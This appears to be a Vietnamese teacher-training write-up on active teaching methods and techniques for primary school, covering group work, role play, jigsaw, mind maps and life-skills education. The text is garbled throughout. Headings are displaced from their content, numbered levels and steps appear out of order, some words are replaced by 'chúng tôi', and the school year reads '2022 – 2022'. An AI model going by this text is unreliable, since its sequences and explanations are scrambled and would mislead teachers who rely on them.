    Từ dạy và học thụ động sang dạy và học tích cực, giáo viên không còn đóng vai trò đơn thuần là người truyền đạt kiến thức, giáo viên trở thành người thiết kế, tổ chức, hướng dẫn các hoạt động độc lập hoặc theo nhóm nhỏ để học sinh tự lực chiếm lĩnh nội dung học tập, chủ động đạt các mục tiêu kiến thức, kĩ năng, thái độ theo yêu cầu của chương trình. Giáo viên phải có trình độ chuyên môn sâu rộng, có trình độ sư phạm lành nghề mới có thể tổ chức, hướng dẫn các hoạt động của học sinh mà nhiều khi diễn biến ngoài tầm dự kiến của giáo viên. Có thể so sánh đặc trưng của dạy học truyền thống và dạy học tích cực như sau:

    * Đặt vấn đề, xây dựng bài toán nhận thức

    Từ sách giáo khoa + giáo viên

    Từ nhiều nguồn khác nhau : SGK, GV, các tài liệu khoa học phù hợp, internet, thí nghiệm, bảo tàng, thực tế … gắn với :

    – Vốn hiểu biết, kinh nghiệm và nhu cầu của HS.

    – Tình huống thực tế, bối cảnh và môi trường địa phương.

    – Những vấn đề HS quan tâm.

    Trong một xã hội đang phát triển nhanh theo cơ chế thị trường, cạnh tranh gay gắt thì phát hiện sớm và giải quyết hợp lý những vấn đề nảy sinh trong thực tiễn là một năng lực đảm bảo sự thành công trong cuộc sống. Vì vậy, tập dượt cho học sinh biết phát hiện, đặt ra và giải quyết những vấn đề gặp phải trong học tập, không chỉ có ý nghĩa ở tầm phương pháp dạy học mà phải được đặt như một mục tiêu giáo dục và đào tạo.

    Cấu trúc một bài học (hoặc một phần bài học) theo phương pháp đặt và giải quyết vấn đề thường như sau

    * Giải quyết vấn đề đặt ra

    – Tạo tình huống có vấn đề;

    – Phát hiện, nhận dạng vấn đề nảy sinh;

    – Phát hiện vấn đề cần giải quyết

    * Kết luận:

    – Đề xuất cách giải quyết;

    – Lập kế hoạch giải quyết;

    – Thực hiện kế hoạch giải quyết.

    * Có thể phân biệt bốn mức trình độ đặt và giải quyết vấn đề:

    – Khẳng định hay bác bỏ giả thuyết nêu ra;

    Mức 2: Giáo viên nêu vấn đề, gợi ý để học sinh tìm ra cách giải quyết vấn đề. . Giáo viên và học sinh cùng đánh giá. Mức 3: Giáo viên cung cấp thông tin tạo tình huống có vấn đề. Học sinh phát hiện và xác định vấn đề nảy sinh, tự đề xuất các giả thuyết và lựa chọn giải pháp. Học sinh thực hiện cách giải quyết vấn đề. Giáo viên và học sinh cùng đánh giá.

    – Phát biểu kết luận;

    2. Phương pháp hoạt động nhóm:

    – Đề xuất vấn đề mới.

    Mức 1: Giáo viên đặt vấn đề, nêu c ách giải quyết vấn đề. Học sinh thực hiện cách giải quyết vấn đề theo hướng dẫn của giáo viên. Giáo viên đánh giá kết quả làm việc của học sinh.

    Mức 4 : Học sinh tự lực phát hiện vấn đề nảy sinh trong hoàn cảnh của mình hoặc cộng đồng, lựa chọn vấn đề giải quyế t. Học sinh giải quyết vấn đề, tự đánh giá chất lượng, hiệu quả, có ý kiến bổ sung của giáo viên khi kết thúc.

    Lớp học được chia thành từng nhóm nhỏ từ 4 đến 6 người. Tuỳ mục đích, yêu cầu của vấn đề học tập, các nhóm được phân chia ngẫu nhiên hay có chủ định, được duy trì ổn định hay thay đổi trong từng phần của tiết học, được giao cùng một nhiệm vụ hay những nhiệm vụ khác nhau.

    Nhóm tự bầu nhóm trưởng nếu thấy cần. Trong nhóm có thể phân công mỗi người một phần việc. Trong nhóm nhỏ, mỗi thành viên đều phải làm việc tích cực, không thể ỷ lại vào một vài người hiểu bết và năng động hơn. Các thành viên trong nhóm giúp đỡ nhau tìm hiêu vấn đề nêu ra trong không khí thi đua với các nhóm khác. Kết quả làm việc của mỗi nhóm sẽ đóng góp vào kết quả học tập chung của cả lớp. Để trình bày kết quả làm việc của nhóm trước toàn lớp, nhóm có thể cử ra một đại diện hoặc phân công mỗi thành viên trình bày một phần nếu nhiệm vụ giao cho nhóm là khá phức tạp.

    * Phương pháp hoạt động nhóm có thể tiến hành:

    + Làm việc chung cả lớp:

    – Nêu vấn đề, xác định nhiệm vụ nhận thức

    – Tổ chức các nhóm, giao nhiệm vụ

    – Hướng dẫn cách làm việc trong nhóm

    + Làm việc theo nhóm:

    – Phân công trong nhóm

    – Cử đại diện hoặc phân công trình bày kết quả làm việc theo nhóm

    + Tổng kết trước lớp:

    – Các nhóm lần lượt báo cáo kết quả

    3. Phương pháp vấn đáp

    – Giáo viên tổng kết, đặt vấn đề cho bài tiếp theo, hoặc vấn đề tiếp theo trong bài.

    Thành công của bài học phụ thuộc vào sự nhiệt tình tham gia của mọi thành viên, vì vậy phương pháp này còn gọi là phương pháp cùng tham gia.

    * Vấn đáp: Là phương pháp trong đó giáo viên đặt ra câu hỏi để học sinh trả lời, hoặc học sinh có thể tranh luận với nhau và với cả giáo viên; qua đó học sinh lĩnh hội được nội dung bài học. Căn cứ vào tính chất hoạt động nhận thức, người ta phân biệt các loại phương pháp vấn đáp:

    4. Phương pháp đóng vai

    * Vấn đáp tái hiện: Giáo viên đặt câu hỏi chỉ yêu cầu học sinh nhớ lại kiến thức đã biết và trả lời dựa vào trí nhớ, không cần suy luận. Vấn đáp tái hiện không được xem là phương pháp có giá trị sư phạm. Đó là biện pháp được dùng khi cần đặt mối liên hệ giữa các kiến thức vừa mới học.

    * Vấn đáp giải thích – minh hoạ: Nhằm mục đích làm sáng tỏ một đề tài nào đó, giáo viên lần lượt nêu ra những câu hỏi kèm theo những ví dụ minh hoạ để học sinh dễ hiểu, dễ nhớ. Phương pháp này đặc biệt có hiệu quả khi có sự hỗ trợ của các phương tiện nghe – nhìn.

    * Vấn đáp tìm tòi: Giáo viên dùng một hệ thống câu hỏi được sắp xếp hợp lý để hướng học sinh từng bước phát hiện ra bản chất của sự vật, tính quy luật của hiện tượng đang tìm hiểu, kích thích sự ham muốn hiểu biết. Giáo viên tổ chức sự trao đổi ý kiến – kể cả tranh luận – giữa thầy với cả lớp, có khi giữa trò với trò, nhằm giải quyết một vấn đề xác định.

    Đóng vai là phương pháp tổ chức cho học sinh thực hành một số cách ứng xử nào đó trong một tình huống giả định.

    Phương pháp đóng vai có những ưu điểm sau:

    – Học sinh được rèn luyện thực hành những kỹ năng ứng xử và bày tỏ thái độ trong môi trường an toàn trước khi thực hành trong thực tiễn.

    – Gây hứng thú và chú ý cho học sinh.

    – Tạo điều kiện làm nảy sinh óc sáng tạo của học sinh.

    – Khích lệ sự thay đổi thái độ, hành vi của học sinh theo chuẩn mực.

    – Có thể thấy ngay tác động và hiệu quả của lời nói hoặc việc làm của các vai diễn.

    * Cách tiến hành cụ thể như sau:

    – Giáo viên chia nhóm, giao tình huống đóng vai cho từng nhóm và quy định rõ thời gian chuẩn mực, thời gian đóng vai.

    – Các nhóm lên đóng vai.

    – Giáo viên phỏng vấn học sinh đóng vai.

    – Vì sao em lại ứng xử như vậy?

    – Cảm xúc, thái độ của em khi thực hiện cách ứng xử?

    – Giáo viên kết luận về cách ứng xử cần thiết trong tình huống.

    * Những điều cần lưu ý khi sử dụng:

    5. Phương pháp động não

    – Phải dành thời gian phù hợp cho các nhóm chuẩn bị đóng vai

    – Người đóng vai phải hiểu rõ vai của mình trong bài tập đóng vai

    – Nên khích lệ cả những học sinh nhút nhát tham gia.

    Động não là phương pháp giúp học sinh trong một thời gian ngắn nảy sinh được nhiều ý tưởng, nhiều giả định về một vấn đề nào đó.

    * Cách tiến hành

    – Giáo viên nêu câu hỏi, vấn đề cần được tìm hiểu trước cả lớp hoặc trước nhóm.

    – Khích lệ học sinh phát biểu và đóng góp ý kiến càng nhiều càng tốt.

    III. Vận dụng các phương pháp dạy học tích cực trong dạy học các môn học ở tiểu học

    – Liệt kê tất cả các ý kiến phát biểu đưa lên bảng hoặc giấy khổ to.

    – Phân loại ý kiến.

    Ví dụ: vận dụng các phương pháp dạy học tích cực trong dạy học môn đạo đức ở tiểu học:

    2. Làm việc nhóm: Cùng với phương pháp vấn đáp, phương pháp làm việc nhóm nhằm giúp học sinh tham gia một cách chủ động, tích cực vào quá trình học tập tạo điều kiện cho các em có thể chia sẻ kinh nghiệm, ý kiến, hay để giải quyết một vấn đề đạo đức nào đó. Ví dụ: Ở bài 11: “Lịch sự khi nhận và gọi điện thoại” – Tiết 1. + Hoạt động 1: Giáo viên sử dụng phương pháp vấn đáp; + Hoạt động 2: Sử dụng phương pháp làm việc nhóm.

    PHẦN II: MODULE 16 MỘT SỐ KĨ THUẬT DẠY HỌC TÍCH CỰC Ở TIỂU HỌC A. TÌM HIỂU VỀ KĨ THUẬT DẠY HỌC TÍCH CỰC 1. Thế nào là kĩ thuật dạy học và kĩ thuật dạy học tích cực?

    3. Đóng vai: Đóng vai là phương pháp tổ chức cho học sinh thực hành một số cách ứng xử và bày tỏ thái độ trong tình huống cụ thể. Đóng vai gây chú ý và hứng thú cho các em. Qua đó tạo điều kiện nảy sinh óc sáng tạo của học sinh đồng thời khích lệ sự thay đổi thái độ, hành vi của học sinh theo chuẩn mực hành vi đạo đức. Qua đóng vai có thể thấy ngay tác động và hiệu quả của lời nói hoặc việc làm của các vai diễn, là phương pháp giúp học sinh phát hiện và chiếm lĩnh những nội dung học tập. Qua đóng vai các em không những được phát triển về các mặt trí tuệ, thể chất, thẩm mỹ mà còn được hình thành nhiều phẩm chất hành vi đạo đức. Chính vì vậy đóng vai được sử dụng trong tiết đạo đức như là một phương pháp dạy học quan trọng để giáo dục hành vi đạo đức cho học sinh. Nội dung đóng vai sẽ minh hoạ một cách sinh động cho các mẫu hành vi đạo đức. Nhờ vậy, những mẫu hành vi này sẽ tạo được những biểu tượng rõ rệt ở học sinh, giúp các em ghi nhớ rõ ràng và lâu bền. Qua đóng vai, học sinh được tập luyện những kỹ năng, những thao tác hành vi đạo đức, sẽ hình thành được ở học sinh niềm tin về những chuẩn mực hành vi đã học, tạo ra động cơ bên trong cho những hành vi ứng xử trong cuộc sống. Qua đóng vai, học sinh sẽ được rèn luyện khả năng biết lựa chọn cho mình cách ứng xử đúng đắn, phù hợp trong một tình huống cụ thể. – Bằng đóng vai, việc luyện tập thực hành về các hành vi đạo đức được tiến hành một cách nhẹ nhàng sinh động, không gây khô khan nhàm chán. Học sinh được lôi cuốn vào quá trình luyện tập một cách tự nhiên, hứng thú và có tinh thần trách nhiệm đồng thời giải toả được mệt mỏi căng thẳng.

    4. Động não: Cùng với phương pháp vấn đáp, làm việc nhóm, phương pháp đóng vai, thì Động não là phương pháp giúp cho học sinh trong một thời gian ngắn nẩy sinh được nhiều ý tưởng, nhiều giả định về một vấn đề nào đó. Ví dụ: Ở bài 11: “Lịch sự khi nhận và gọi điện thoại: – Tiết 1+ Hoạt động 1: Giáo viên sử dụng phương pháp đóng vai, động não. + Hoạt động 2: Sử dụng phương pháp làm việc nhóm.

    *Tóm lại: Trong các phương pháp trên, không có phương pháp nào là vạn năng, mỗi phương pháp đều có ưu điểm riêng biệt, song nó sẽ không có hiệu quả khi người dạy không biết sử dụng đúng lúc, đúng mục đích trong một tiết dạy. Hơn nữa tuỳ thuộc vào tiết 1 hay tiết 2 của một bài đạo đức mà người giáo viên sử dụng phương pháp cho phù hợp. Tiết học có đạt được kết quả cao hay không nhờ khả năng kết hợp hài hoà nhuần nhuyễn các phương pháp dạy học với nhau, lấy phương pháp này bổ trợ cho phương pháp kia.

    2. Một số kĩ thuật dạy học tích cực 2.1 Kĩ thuật đặt câu hỏi: * Người GV đặt câu hỏi khi nào? Mục đích đặt câu hỏi là gì?

    Trong ba bình diện của phương pháp dạy học (Quan điểm dạy học, phương pháp dạy học cụ thể, kĩ thuật dạy học) thì kĩ thuật dạy học ( KTDH)là bình diện nhỏ nhất. Quan điểm dạy học là khái niệm rộng định hướng cho việc lựa chọn các phương pháp dạy học cụ thể, các PPDH cụ thể là khái niệm hẹp hơn, đưa ra mô hình hành động. Kĩ thuật dạy học là khái niệm nhỏ nhất, thực hiện các tình huống hành động.

    * Đặt câu Hỏi phụ thuộc vào yếu tố nào?

    Kĩ thuật dạy học là những biện pháp, cách thức hành động của giáo viên và học sinh trong các tình huống hành động nhỏ nhằm thực hiện và điều khiển quá trình dạy học. Sự phân biệt giữa KTDH và PPDH nhiều khi không dễ dàng. Có thể hiểu rằng: Khi sử dụng PPDH ta cần phải có các kĩ thuật dạy học. Ví dụ: Khi sử dụng PP đàm thoại GV phải có kĩ thuật đặt câu hỏi….

    * KT đặt câu hỏi theo các cấp độ nhận thức như thế nào?

    KTDH tích cực là thuật ngữ dùng để chỉ các kĩ thuật dạy học có tác dụng phát huy tính tích cực học tập của HS. VD: Kĩ thuật khăn trải bàn; KT mảnh ghép; KT hỏi và trả lời; KT động não, ….

    Chủ yếu vào chất lượng câu hỏi và cách ứng xử của giáo viên khi hỏi HS

    Biết; hiểu; vận dụng; phân tích; tổng hợp; đánh giá

    2..2. Kĩ thuật dạy học theo góc

    Sử dụng câu hỏi có hiệu quả đem lại sự hiểu biết lẫn nhau giữa HS – GV và HS – HS. Kĩ năng đặt câu hỏi càng tốt thì mức độ tham gia của HS càng nhiều; HS sẽ học tập tích cực hơn. Trong dạy học theo PP cùng tham gia, GV thường phải sử dụng câu hỏi để gợi mở, dẫn dắt HS tìm hiểu, khám phá thông tin, kiến thức, kĩ năng mới. Để đánh giá kết quả học tập của HS, HS cũng phải sử dụng câu hỏi để hỏi lại, hỏi thêm GV và các HS khác về những nội dung bài học chưa sáng tỏ.

    * Khi nêu câu hỏi cho HS cần chú ý: 1.Đưa ra câu hỏi với một thái độ khuyến khích, với giọng nói ôn tồn, nhẹ nhàng. chúng tôi hút sự chú ý của HS trước khi nêu câu hỏi. 3.Chú ý phân bố hợp lí số HS được chỉ định trả lời. 4.Chú ý khuyến khích những HS rụt rè, chậm chạp. 5.Sử dụng câu hỏi mở và câu hỏi đóng phù hợp với từng trường hợp. chúng tôi kiểm tra sử dụng câu hỏi đóng; 7. Khi cần mở rộng ý ta dùng câu hỏi mở. Ví dụ: Em có nhận xét gì về bức tranh Thiếu nữ bên hoa huệ? 8.Không nên nêu những câu hỏi quá đơn giản. Ví dụ : Đối với HS lớp 4, 5 mà GV nêu: Các em xem có mấy hình vẽ? Hoặc hỏi HS: Hiểu chưa?

    2. 3. Kĩ thuật “Khăn trải bàn”

    Học theo góc là một hình thức tổ chức hoạt động học tập theo đó người học thực hiện các nhiệm vụ khác nhau tại vị trí cụ thể trong không gian lớp học, đáp ứng nhiều phong cách học khác nhau. Học theo góc người học được lựa chọn họat động và phong cách học: Cơ hội “Khám phá”, ‘Thực hành”; Cơ hội mở rộng, phát triển, sáng tạo; Cơ hội đọc hiểu các nhiệm vụ và hướng dẫn bằng văn bản của người dạy; Cơ hội cá nhân tự áp dụng và trải nghiệm.

    Cách tổ chức: Kĩ thuật khăn trải bàn:

    *Áp dụng: Tổ chức học theo góc trong tiết ôn tập về toán. Góc HS giỏi; Góc HS còn yếu; Góc HS trung bình đến khá

    a. Thế nào là kĩ thuật “khăn trải bàn”? Là hình thức tổ chức hoạt động mang tính hợp tác kết hợp giữa hoạt động cá nhân và hoạt động nhóm nhằm: 1- Kích thích, thúc đẩy sự tham gia tích cực; 2- Tăng cường tính độc lập, trách nhiệm của cá nhân HS; 3- Phát triển mô hình có sự tương tác giữa HS với HS.

    – Chia giấy A0 thành phần chính giữa và phần xung quanh. Chia phần xung quanh thành các phần theo số thành viên của nhóm.

    2.4. Kĩ thuật “Các mảnh ghép”

    – Cá nhân trả lời câu hỏi và viết trên phần xung quanh.

    – Treo SP, trình bày.

    Thế nào là kĩ thuật “Các mảnh ghép” là hình thức học tập hợp tác kết hợp giữa cá nhân, nhóm và liên kết giữa các nhóm nhằm:

    + Giải quyết một nhiệm vụ phức hợp

    + Kích thích sự tham gia tích cực của HS:

    Nâng cao vai trò của cá nhân trong quá trình hợp tác (Không chỉ hoàn thành nhiệm vụ ở Vòng 1 mà còn phải truyền đạt lại kết quả vòng 1 và hoàn thành nhiệm vụ ở vòng 2).

    Cách tiến hành kĩ thuật “Các mảnh ghép”

    VÒNG 1 Hoạt động theo nhóm 3 người. Mỗi nhóm được giao một nhiệm vụ (Ví dụ : nhóm 1 : nhiệm vụ A; nhóm 2: nhiệm vụ B, nhóm 3: nhiệm vụ C). Đảm bảo mỗi thành viên trong nhóm đều trả lời được tất cả các câu hỏi trong nhiệm vụ được giao. Mỗi thành viên đều trình bày được kết quả câu trả lời của nhóm

    VÒNG 2: Hình thành nhóm 3 người mới (1người từ nhóm 1, 1 người từ nhóm 2 và 1 người từ nhóm 3)

    2.5. Kĩ thuật sơ đồ tư duy

    * Các câu trả lời và thông tin của vòng 1 được các thành viên nhóm mới chia sẻ đầy đủ với nhau

    * Nhiệm vụ mới sẽ được giao cho nhóm vừa thành lập để giải quyết

    * Lời giải được ghi rõ trên bảng

    Sơ đồ tư duy là một công cụ tổ chức tư duy. Đây là cách dễ nhất để chuyển tải thông tin vào bộ não rồi đưa thông tin ra ngoài bộ não; là phương tiện ghi chép sáng tạo, hiệu quả nhằm sắp xếp ý nghĩa.

    – Mục tiêu là giúp phát triển tư duy logic, khả năng phân tích tổng hợp; HS hiểu bài nhớ lâu.

    – Tác dụng là giúp HS hệ thống hóa kiến thức. tìm ra mối liên hệ giữa các kiến thức; hiểu bài nhớ lâu, phát triển tư duy logic; mang lại hiệu quả dạy học cao.

    – Cách lập sơ đồ tư duy

    + Ở vị trí trung tâm sơ đồ là một hình ảnh hay một cụm từ thể hiện một ý tưởng khái niệm/nội dung/chủ đề.

    + Từ ý tưởng hình ảnh sẽ phát triển các nhánh chính, nối các cụm từ, hình ảnh cấp một.

    2.6. Kĩ thuật hỏi và trả lời

    – Yêu cầu sư phạm:

    Hướng dẫn HS tìm ra ý tưởng. Khi lập sơ đồ tư duy cần lưu ý: Các nhánh chính được tô đậm, các nhánh cấp 2,3 vẽ bằng các nét mảnh dần; từ cụm từ hình ảnh trung tâm tỏa đi các nhánh nên sử dụng màu sắc khác nhau, màu sắc nhánh chính cần duy trì đến các nhóm phụ.

    Dùng các đường cong thay cho các đường thẳng; bố trí các thông tin đều theo hình ảnh/cụm từ.

    – Giúp HS củng cố, khắc sâu kiến thức đã học thông qua việc hỏi, trả lời

    – Tác dụng: Củng cố, khắc sâu kiến thức cho HS; phát triển KN đặt câu hỏi, KN trình bày, khả năng phản ứng nhanh; tạo hứng thú cho HS; giúp GV biết được kết quả học tập của các em.

    – Cách tiến hành

    + HS trả lời xong câu hỏi đầu tiên lại đặt câu hỏi tiếp theo, yêu cầu HS khác trả lời…cứ tiếp nối như thế cho đến các bạn khác.

    – Yêu cầu sư phạm

    + Chủ đề phải có nội dung phong phú, đặt được nhiều câu hỏi

    + GV có thể đặt câu hỏi trước ( nếu HS chưa quen)

    2.7. Kĩ thuật trình bày một phút

    + Tạo cơ hội cho tất cả HS trong lớp được hỏi, trả lời

    + Khi HS trả lời không được có thể yêu cầu bạn khác trả lời, song mất quyền đặt câu hỏi cho người khác

    + KT hỏi và trả lời sử dụng hợp cho các tiết ôn tập. khi kiểm tra bài cũ, củng cố bài học.

    – Mục tiêu là tạo cơ hội cho HS tổng kết lại kiến thức; trình bày những băn khoăn, thắc mắc trước lớp

    – Tác dụng: Giúp củng cố quá trình học tập; giúp HS tự thấy được mình hiểu vấn đề ngang đâu.

    – Cách tiến hành

    B. VẬN DỤNG KĨ THUẬT DẠY HỌC TÍCH CỰC VÀO GIẢNG DẠY MỘT SỐ TIẾT TRONG NĂM HỌC 2022 – 2022 1. BẢNG THỰC HÀNH TIẾT DẠY 2. Đánh về khả năng vận dụng các kĩ thuật dạy học vào thực tế

    + Cuối tiết học, GV yêu cầu HS suy nghĩ trả lời các câu hỏi sau: ( Điều quan trọng nhất các em học hôm nay là gì? Vấn đề gì các em chưa giải đáp hôm nay? Các em có những băn khoăn, thắc mắc gì?); HS viết ra giấy; trình bày trước lớp trong thời gian không quá 1 phút.

    – Lưu ý khi sử dụng

    Dành thời gian phù hợp cho HS chuẩn bị; động viên khuyến khích HS tham gia trình bày; lắng nghe tôn trọng phần trình bày của HS, không tỏ thái độ chê bai; động viên HS khác lắng nghe câu trả lời và trả lời câu hỏi đặt ra; giải đáp các câu hỏi, thắc mắc của HS.

    a) Kĩ thuật đặt câu hỏi

    Kĩ thuật này có thể vận dụng hầu hết các môn học, mang lại hiệu quả cao. Để phát huy tích tích cực của KTDH này cần tạo điều kiện cho các em đặt câu hỏi trao đổi với nhau và đặt câu hỏi trao đổi với thầy cô.

    b) Kĩ thuật “Khăn trải bàn”

    Khi sử dụng kĩ thuật này, cần lưu ý lựa chọn nội dung cho phù hợp. Đặc biệt cần chuẩn bị chu đáo. Nên tạo điều kiện cho các em tự chuẩn bị các đồ dùng học tập trước ở nhà.

    c) Kĩ thuật “mảnh ghép”:

    Cần lựa chọn nội dung phù hợp. Lưu ý nhiệm vụ phức hợp được giao cho các nhóm theo các vòng phải tương đương nhau, các kiến thức lôgic, không rời rạc. Quan tâm đến các em học sinh khó khăn, tạo điều kiện cho các em rèn các kĩ năng hợp tác, trình bày, …tạo các em sự tự tin.

    Kĩ thuật dạy học này áp dụng vào tiết hình thành bài mới hay ôn tập. Khi dạy cần chú ý chuẩn bị chu đáo.

    Hạn chế : mất nhiều thời gian.

    d) Kĩ thuật sơ đồ tư duy:

    Kĩ thuật này rất hiệu quả trong tiết ôn tập có thể vận dụng hầu hết các môn học. Cần dạy cho các em cách vận dụng kĩ thuật này (rèn tư duy tổng hợp).

    đ) Kĩ thuật hỏi và trả lời:

    Kĩ thuật này có thể sử dụng trong hầu hết các môn học, hầu hết các hoạt động dạy học của các môn học.

    e) Kĩ thuật trình bày một phút:

    Kĩ thuật này hiệu quả và có thể áp dụng ở hoạt động củng cố cuối mỗi tiết học.

    g) Kĩ thuật dạy học theo góc

    Học theo góc đòi hỏi không gian lớp học rộng với số lượng HS vừa phải.

    PHẦN III: MODULE 39 GIÁO DỤC KĨ NĂNG SỐNG CHO HSTH QUA CÁC MÔN HỌC I. Một số vấn đề chung về kĩ năng sống và giáo dục kĩ năng sống qua các môn học ở tiểu học 1. Khái niệm về kỹ năng sống:

    Cần nhiều thời gian cho hoạt động học tập.

    2. Mục tiêu:

    Không phải bài học/nội dung nào cũng áp dụng được phương pháp học theo góc.

    Đòi hỏi giáo viên phải có kinh nghiệm trong việc tổ chức, quản lý và giám sát hoạt động học tập cũng như đánh giá được kết quả học tập của HS.

    Kĩ năng sống là khả năng làm chủ bản thân của mỗi người, khả năng ứng xử phù hợp với những người khác và với xã hội, khả năng ứng phó tích cực trước các tình huống của cuộc sống.

    – Trang bị cho học sinh những kiến thức, giá trị, thái độ, kỹ năng phù hợp .

    – Hình thành cho HS những hành vi, thói quen lành mạnh, tích cực; loại bỏ những hành vi, thói quen tiêu cực.

    – KNS giúp HS có khả năng ứng phó phù hợp và linh hoạt trong các tình huống của cuộc sống hàng ngày.

    – KNS giúp HS vận dụng tốt kiến thức đã học, làm tăng tính thực hành.

    3. Yêu cầu:

    – Tạo cơ hội thuận lợi để HS thực hiện tốt quyền, bổn phận của mình và phát triển toàn diện về thể chất, trí tuệ, tinh thần và đạo đức

    – Nhằm đẩy mạnh phong trào thi đua “Xây dựng trường học thân thiện, học sinh tích cực”, đồng thời có sự thống nhất cao việc tăng cường giáo dục kỹ năng sống cho học sinh tiểu học trong – toàn cấp học.

    – Giúp GV soạn và dạy được KNS cho học sinh TH.

    Việc bố trí sắp xếp bàn ghế trong phòng học, vị trí trưng bày sản phẩm của học sinh….

    Chuẩn bị thiết bị đồ dùng dạy học, các loại phiếu học tâp sử dụng cho các hoạt động trong giờ học.

    Giáo viên mạnh dạn, tích cực trong việc tổ chức các hoạt động dạy học, vận dụng các phương pháp dạy học, các kỹ thuật dạy học phù hợp…

    Tạo được sự thân thiện, hợp tác, các giao tiếp ứng xử trong giờ học giữa giáo viên và học sinh, học sinh và học sinh, động viên, tạo cơ hôị cho mọi đối tượng học sinh cùng tham gia

    GDKNS cho HS TH thông qua các kĩ thuật dạy học, tổ chức các hoạt động GDNGLL, phối hợp giữa nhà trường, gia đình và cộng đồng.

    Nhà trường cần phải rà soát lại thực trạng của trường mình, về hạn chế và hướng giải quyết để có thể tổ chức tốt việc giáo dục kỹ năng sống cho học sinh, sau đó căn cứ vào chương trình khung của PGD, xây dựng chương trình cụ thể cho đơn vị.

    II. Nội dung và phương pháp giáo dục kĩ năng sống qua các môn học ở tiểu học: 1.Trong các chương trình giáo dục kĩ năng sống cho HSTH , người ta nhắc đến những nhóm kỹ năng sống sau đây:

    Tùy theo hoàn cảnh thực tế của từng địa phương, từng trường để triển khai GDKNS cho thật hiệu quả.

    Các trường cũng cần phải xây dựng được quy tắc ứng xử văn hóa. Thầy cô giáo, cán bộ, phụ huynh phải gương mẫu. Bên cạnh đó, cần tạo được môi trường thân thiện, gia đình thân thiện, cộng đồng thân thiện.

    Ngoài ra, việc đẩy mạnh phong trào thi đua “Xây dựng trường học thân thiện, học sinh tích cực” cũng là giải pháp góp phần trang bị thêm nhiều kiến thức kỹ năng sống cho học sinh.

    a)Nhóm kĩ năng nhận thức:

    Nhận thức bản thân.

    Xây dựng kế hoạch.

    Kĩ năng học và tự học

    Tư duy tích cực và tư duy sáng tạo.

    Giải quyết vấn đề

    b)Nhóm kĩ năng xã hội:

    Kĩ năng giao tiếp .

    Kĩ năng thuyết trình và nói trước đám đông.

    Kĩ năng diễn đạt cảm xúc và phản hồi.

    Kĩ năng làm việc nhóm (làm việc đồng đội)

    Kĩ năng quan sát.

    Kĩ năng lãnh đạo (làm thủ lĩnh).

    c)Nhóm kĩ năng quản lý bản thân:

    Kĩ năng làm chủ.

    Quản lý thời gian

    Giải trí lành mạnh

    d)Nhóm kĩ năng giao tiếp

    Xác định đối tượng giao tiếp

    Xác định nội dung và hình thức giao tiếp

    e)Nhóm kĩ năng phòng chống bạo lực:

    Phòng chống xâm hại thân thể.

    2. Các phương pháp và kỹ thuật tích hợp lồng ghép giáo dục kỹ năng sống vào môn học: a. Sự khác biệt giữa dạy các môn học (VD: Đạo đức) với GDKNS:

    Phòng chống bạo lực học đường.

    Phòng chống bạo lực gia đình.

    Tránh tác động xấu từ bạn bè.

    b. PPDH – Kỹ thuật dạy học:

    Chương trình giáo dục môn Đạo đức ở cấp tiểu học có một số nội dung trùng hợp với nội dung của giáo dục kỹ năng sống. Tuy nhiên, mục đích và phương pháp dạy các môn này không giống nhau hoàn toàn.

    Ví dụ: Trong chương trình môn Đạo đức lớp 1, tuần 19 có bài: “Lễ phép, vâng lời thầy cô giáo”. Trong dạy kỹ năng sống, không có khái niệm “vâng lời”, chỉ có khái niệm “lắng nghe”, “đồng cảm”, “chia sẻ”. Mục tiêu của giáo dục kỹ năng sống là rèn luyện cách tư duy tích cực, hình thành thói quen tốt thông qua các hoạt động và bài tập trải nghiệm, chứ không đặt mục đích “rèn nếp” hay “nghe lời”. Công dân toàn cầu là người biết suy nghĩ bằng cái đầu của mình, biết phân tích đúng sai, quyết định có làm điều này hay điều khác và chịu trách nhiệm về điều đó, chứ không tạo ra lớp công dân “chỉ biết nghe lời”.

    Đây là sự khác biệt cơ bản của việc giáo dục kỹ năng sống với các môn học khác (như môn Đạo đức).

    3. Một số biện pháp rèn kĩ năng sống cho học sinh thông qua các môn học a. Rèn kĩ năng sống hiệu quả qua việc tích hợp vào các môn học

    Cũng như các môn học khác, GDKNS cũng sử dụng các

    PPDH tích cực như:

    • PPDH theo nhóm
    • PP giải quyết vấn đề
    • PP đóng vai
    • PP trò chơi

      Kỹ thuật dạy học:

    • Kỹ thuật chia nhóm
    • Kỹ thuật đặt câu hỏi
    • Kỹ thuật khăn trải bàn
    • Kỹ thuật trình bày 1 phút
    • Kỹ thuật bản đồ tư duy …

    Để giáo dục kĩ năng sống cho học sinh có hiệu quả bản thân đã vận dụng vào các môn học, tiết học, nhất là các môn như: Mỹ thuật; Đạo đức; Thể dục; HĐGDCĐ…. để những giờ học sao cho các em được làm để học, được trải nghiệm như trong cuộc sống thực.

    Ở môn Đạo đức, để các chuẩn mực đạo đức, pháp luật xã hội trở thành tình cảm, niềm tin, hành vi và thói quen của học sinh. Cần sử dụng các phương pháp, kĩ thuật dạy học tích cực , học sinh sẽ được tạo cơ hội để thực hành, trải nghiệm nhiều kĩ năng sống cần thiết, phù hợp với lứa tuổi. Đó là lối sống lành mạnh, các hành vi ứng xử phù hợp với nền văn minh xã hội. Lối sống, hành vi như gọn gàng, ngăn nắp, nói lời hay, làm việc tốt, chăm sóc bố mẹ, ông bà, hợp tác, giúp đỡ, chia sẻ với bạn…

    Ở môn Thể dục, giúp HS có ý thức rèn luyện thể dục hằng ngày, tự giác thực hiện nếp sống lành mạnh, kỷ luật, khắc phục những hành vi có hại cho sức khoẻ. Biết tham gia các hoạt động thể thao và nghỉ ngơi một cách hợp lí để có sức khoẻ tốt.

    Kỹ năng sống là một tập hợp các kỹ năng mà con người có được thông qua giảng dạy hoặc kinh nghiệm trực tiếp được sử dụng để xử lý những vấn đề, câu hỏi thường gặp trong cuộc sống hàng ngày của con người.

    Trong những năm trở lại đây, khi Phong trào “Xây dựng trường học thân thiện, học sinh tích cực” được triển khai và hưởng ứng mạnh mẽ trong các cấp học, ngoài việc nâng cao chất lượng giáo dục, các đơn vị trường học ngày càng chú trọng tới công tác giáo dục đạo đức, KNS cho HS, đặc biệt là HSTH.

